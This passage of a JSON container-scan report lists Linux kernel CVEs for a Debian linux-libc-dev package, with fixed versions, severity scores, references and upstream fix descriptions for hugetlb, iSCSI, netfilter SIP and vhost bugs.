"https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/7d3aae206663c4e006b25a1c7a20a4029e67da76%20%287.2-rc6%29", "https://git.kernel.org/stable/c/4ca05385b3ddbd463be17c6d69ec76fca657081d", "https://git.kernel.org/stable/c/6664a5aea45318f4ec156a729949b474dd6e3159", "https://git.kernel.org/stable/c/7668c58dcf465559dc7a0d2e95e9cb79cf47454b", "https://git.kernel.org/stable/c/7d3aae206663c4e006b25a1c7a20a4029e67da76", "https://git.kernel.org/stable/c/89f9e8398e79c49886766fc24a84c37726231104", "https://git.kernel.org/stable/c/f12373625b4dc9bcc89c41872648878c73bb9272", "https://linux.oracle.com/cve/CVE-2026-74516.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081543-CVE-2026-74516-6af5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74516", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74516" ], "PublishedDate": "2026-08-15T13:17:56.737Z", "LastModifiedDate": "2026-10-16T20:17:34.16Z" }, { "VulnerabilityID": "CVE-2026-74518", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9b4f369edf221da3b260446fa193a9d40407684ba314b9f20dc8a145ac82d8de", "Title": "kernel: mm/hugetlb: fix list corruption in allocate_file_region_entries()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/hugetlb: fix list corruption in allocate_file_region_entries()\n\nallocate_file_region_entries() tops up resv-\u003eregion_cache with freshly\nallocated file_region descriptors. The allocation uses GFP_KERNEL, so\nresv-\u003elock is dropped around it: the new entries are gathered on a\nstack-local list head, allocated_regions, and spliced into\nresv-\u003eregion_cache once the lock is re-acquired.\n\nThe splice used list_splice(), which moves the entries but does not\nre-initialize the source head, so allocated_regions is left pointing at an\nentry that now lives on resv-\u003eregion_cache. The top-up runs in a while\nloop that re-checks the cache deficit after re-acquiring the lock. For a\nshared mapping the resv_map is shared by every mapper of the hugetlbfs\ninode, so a concurrent region_chg()/region_add()/region_del() on the same\nresv_map can consume cache entries during the unlocked window and force a\nsecond iteration. That iteration calls list_add() on the stale head and\ncorrupts the list; with CONFIG_DEBUG_LIST the __list_add_valid() check\ntrips:\n\n list_add corruption. next-\u003eprev should be prev (ffffc900011ff7f8),\n but was ffff88814c281460. (next=ffff88814c545640).\n kernel BUG at lib/list_debug.c:31!\n allocate_file_region_entries+0x191/0x420\n region_chg+0x267/0x300\n hugetlb_reserve_pages+0x387/0xc80\n hugetlbfs_file_mmap+0x2ce/0x3f0\n mmap_region+0x1348/0x1a80\n do_mmap+0x85e/0xb90\n vm_mmap_pgoff+0x18c/0x330\n ksys_mmap_pgoff+0x2a1/0x3e0\n do_syscall_64+0xd7/0x420\n\nWithout CONFIG_DEBUG_LIST the bad list_add() silently links a kernel-stack\naddress into resv-\u003eregion_cache, leading to later use-after-free.\n\nThis was observed as a real host panic on a dense KVM host where a QEMU\nguest-RAM hugetlbfs file was mapped MAP_SHARED by both QEMU and a separate\nSPDK/DPDK vhost-user target, generating concurrent region_* traffic on one\nshared resv_map.\n\nUse list_splice_init() so the source head is re-initialized empty after\neach splice, making the retry loop safe.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70459", "https://access.redhat.com/security/cve/CVE-2026-74518", "https://bugzilla.redhat.com/2403545", "https://bugzilla.redhat.com/2481940", "https://bugzilla.redhat.com/2481948", "https://bugzilla.redhat.com/2492278", "https://bugzilla.redhat.com/2502218", "https://bugzilla.redhat.com/2513150", "https://bugzilla.redhat.com/2513212", "https://bugzilla.redhat.com/2513222", "https://bugzilla.redhat.com/2513232", "https://bugzilla.redhat.com/2513295", "https://bugzilla.redhat.com/2513453", "https://bugzilla.redhat.com/2516523", "https://bugzilla.redhat.com/2517004", "https://bugzilla.redhat.com/show_bug.cgi?id=2403545", "https://bugzilla.redhat.com/show_bug.cgi?id=2481940", "https://bugzilla.redhat.com/show_bug.cgi?id=2481948", "https://bugzilla.redhat.com/show_bug.cgi?id=2492278", "https://bugzilla.redhat.com/show_bug.cgi?id=2502218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513150", "https://bugzilla.redhat.com/show_bug.cgi?id=2513212", "https://bugzilla.redhat.com/show_bug.cgi?id=2513222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513232", "https://bugzilla.redhat.com/show_bug.cgi?id=2513295", "https://bugzilla.redhat.com/show_bug.cgi?id=2513453", "https://bugzilla.redhat.com/show_bug.cgi?id=2516523", "https://bugzilla.redhat.com/show_bug.cgi?id=2517004", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39964", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45959", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68188", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68293", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74518", "https://errata.almalinux.org/9/ALSA-2026-70459.html", "https://errata.rockylinux.org/RLSA-2026:70459", "https://git.kernel.org/linus/dd9623f58ec702a07b2d67179d6fcea79c52231a%20%287.2-rc6%29", "https://git.kernel.org/stable/c/01b8569233e47693d6ff7efa96d9854c55f936fc", "https://git.kernel.org/stable/c/126a70bf1a08ddc9d79c471ebdaa2b08cfbab8df", "https://git.kernel.org/stable/c/587a0accc2b4fccc5cf7baf0fe34e50efde51f9c", "https://git.kernel.org/stable/c/62e1c2741a4d923d9854efd5927a6212aad7a187", "https://git.kernel.org/stable/c/9c5fdffc5e1ce84403c58289ee72697051803bf7", "https://git.kernel.org/stable/c/ac1bb7fd45088d0db57a22ce7729f258ebd63cf5", "https://git.kernel.org/stable/c/dd9623f58ec702a07b2d67179d6fcea79c52231a", "https://git.kernel.org/stable/c/f3e54f6a5e1681f83d13e8716bc92ef5ecf121d3", "https://linux.oracle.com/cve/CVE-2026-74518.html", "https://linux.oracle.com/errata/ELSA-2026-70498.html", "https://lore.kernel.org/linux-cve-announce/2026081544-CVE-2026-74518-1152@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74518", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74518" ], "PublishedDate": "2026-08-15T13:17:56.967Z", "LastModifiedDate": "2026-10-16T20:17:34.45Z" }, { "VulnerabilityID": "CVE-2026-74556", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74556", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e3f3e79994a138caf4c2bf374f88d07cf13d1b700552071910e9c5395897a202", "Title": "kernel: scsi: libiscsi_tcp: Bound SCSI Response data segment to the connection buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi_tcp: Bound SCSI Response data segment to the connection buffer\n\niscsi_tcp_hdr_dissect() receives the data segment of several PDU types\ninto the fixed-size conn-\u003edata buffer, which is allocated for\nISCSI_DEF_MAX_RECV_SEG_LEN (8192) bytes. For the LOGIN_RSP, TEXT_RSP,\nREJECT and ASYNC_EVENT opcodes the dissect path already rejects a PDU\nwhose DataSegmentLength exceeds that buffer.\n\nThe SCSI Command Response (ISCSI_OP_SCSI_CMD_RSP) path also copies its\ndata segment (sense/response data) into conn-\u003edata via\niscsi_tcp_data_recv_prep(), but it does so without the same check. The\nonly upstream bound on in.datalen is conn-\u003emax_recv_dlength, the\ninitiator's advertised MaxRecvDataSegmentLength, which is commonly\nnegotiated well above 8192 (open-iscsi defaults to 262144). A target\nthat returns a SCSI Response with a DataSegmentLength between 8193 and\nmax_recv_dlength therefore overflows the 8192-byte conn-\u003edata buffer.\n\nOnce the same bound applies, ISCSI_OP_SCSI_CMD_RSP is handled exactly\nlike those responses: bound the data segment, receive it into conn-\u003edata\nwhen present, and otherwise complete the PDU with no data. Fold the\nopcode into that case group rather than duplicating the check.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67470", "https://access.redhat.com/security/cve/CVE-2026-74556", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502418", "https://bugzilla.redhat.com/2513218", "https://bugzilla.redhat.com/2513353", "https://bugzilla.redhat.com/2516639", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502418", "https://bugzilla.redhat.com/show_bug.cgi?id=2513218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516639", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72045", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/9/ALSA-2026-67470.html", "https://errata.rockylinux.org/RLSA-2026:67470", "https://git.kernel.org/linus/c1dea15f819cded9b3faf58f8bec72323568b6e6%20%287.2-rc6%29", "https://git.kernel.org/stable/c/084af0253673425ce2ae62e3c7f74f0dd023711b", "https://git.kernel.org/stable/c/72815741715bd41556dac5eeb068bf0f8af06ee7", "https://git.kernel.org/stable/c/a51812842084fd390590ab8dc0431f10c73ddc56", "https://git.kernel.org/stable/c/a8f94cc9f0e5759252551be3a172960c57f21f54", "https://git.kernel.org/stable/c/b0aa3e8e2ab4ca92adb28a3ef41873b3363b8676", "https://git.kernel.org/stable/c/c1dea15f819cded9b3faf58f8bec72323568b6e6", "https://git.kernel.org/stable/c/c97b5265cc47775f77fd2a23d6bde0426997b233", "https://git.kernel.org/stable/c/f1a3a51fc5dba0e99532379665069f1700da6b44", "https://linux.oracle.com/cve/CVE-2026-74556.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026081551-CVE-2026-74556-3eb4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74556", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74556" ], "PublishedDate": "2026-08-15T13:18:01.047Z", "LastModifiedDate": "2026-10-16T20:17:37.307Z" }, { "VulnerabilityID": "CVE-2026-74569", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74569", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee7421b7d7c5e02f5856fd0a05a7008d4cbccf2edefcffb663784d689195b429", "Title": "kernel: netfilter: nf_conntrack_sip: widen NAT rewrite delta to s32 in sip_help_tcp()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_sip: widen NAT rewrite delta to s32 in sip_help_tcp()\n\nsip_help_tcp() stores the size change of each NAT-rewritten SIP message\nin s16 diff and accumulates it in s16 tdiff, but a single message can\ngrow by more than S16_MAX while the packet stays under the 65535\nenlarge_skb() limit: nf_nat_sip() rewrites every matching URI, and a long\nContact list expands the message by tens of kilobytes. diff then wraps,\nand \"datalen = datalen + diff - msglen\" yields a huge unsigned datalen,\nso the next iteration's ct_sip_get_header() reads past the linearized skb\ntail.\n\nWiden diff, tdiff and the seq_adjust hook to s32. Both are bounded by the\n65535 byte packet limit, and the seqadj core is already s32\n(nf_ct_seqadj_set() takes s32), so no previously accepted input is\nrejected.\n\n BUG: KASAN: use-after-free in ct_sip_get_header (net/netfilter/nf_conntrack_sip.c:464)\n Read of size 1 at addr ffff888010800000 by task ksoftirqd/1/25\n ct_sip_get_header (net/netfilter/nf_conntrack_sip.c:464)\n sip_help_tcp (net/netfilter/nf_conntrack_sip.c:1694)\n nf_confirm (net/netfilter/nf_conntrack_proto.c:183)\n nf_hook_slow (net/netfilter/core.c:619)\n ip6_output (net/ipv6/ip6_output.c:246)\n ip6_forward (net/ipv6/ip6_output.c:690)\n ipv6_rcv (net/ipv6/ip6_input.c:351)\n __netif_receive_skb_one_core (net/core/dev.c:6212)\n process_backlog (net/core/dev.c:6676)\n __napi_poll (net/core/dev.c:7735)\n net_rx_action (net/core/dev.c:7955)\n handle_softirqs (kernel/softirq.c:622)\n run_ksoftirqd (kernel/softirq.c:1076)\n ...", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74569", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/db3d0e0e5d4bc5ab4fe445b9f413d1b486508ca5%20%287.2-rc6%29", "https://git.kernel.org/stable/c/1b0843f9e9b9b0b9b4b70d143b67e58163c85b2c", "https://git.kernel.org/stable/c/32d4abc8923b0d4046fd63ad6e4917872e44eb6d", "https://git.kernel.org/stable/c/63eea41759fd682229c14e0a2205802b46d106f3", "https://git.kernel.org/stable/c/c97621a110e386b2dd69e276eb699e1d3cec581d", "https://git.kernel.org/stable/c/db3d0e0e5d4bc5ab4fe445b9f413d1b486508ca5", "https://git.kernel.org/stable/c/ed1f9be6dc8e2e280b8725e44ccdc6e0cd38640d", "https://git.kernel.org/stable/c/ef5e2c6555d2bb52dfe0e4053a8c6193f9d83b64", "https://git.kernel.org/stable/c/f74554e67ccf04d1fa71069e8c9afa2717e40716", "https://linux.oracle.com/cve/CVE-2026-74569.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081554-CVE-2026-74569-45bc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74569", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74569" ], "PublishedDate": "2026-08-15T13:18:02.517Z", "LastModifiedDate": "2026-10-16T20:17:38.47Z" }, { "VulnerabilityID": "CVE-2026-74580", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74580", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:be8d8ebd60c206d6a4dc83034620d4f601292521b8f252595f0544571cc1abc4", "Title": "kernel: vhost: reset the vring metadata cache on vring reconfiguration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost: reset the vring metadata cache on vring reconfiguration\n\nvq-\u003emeta_iotlb[] caches the vhost_iotlb_map that backs each vring\nmetadata region, and iotlb_access_ok() returns early on a cache hit,\ntaking the hit as proof that the region has already been validated:\n\n\tif (vhost_vq_meta_fetch(vq, addr, len, type))\n\t\treturn true;\n\nThe cache is reset on VHOST_IOTLB_UPDATE and VHOST_IOTLB_INVALIDATE, on\ndevice IOTLB (re)initialisation and on vq reset, but not when\nVHOST_SET_VRING_ADDR replaces 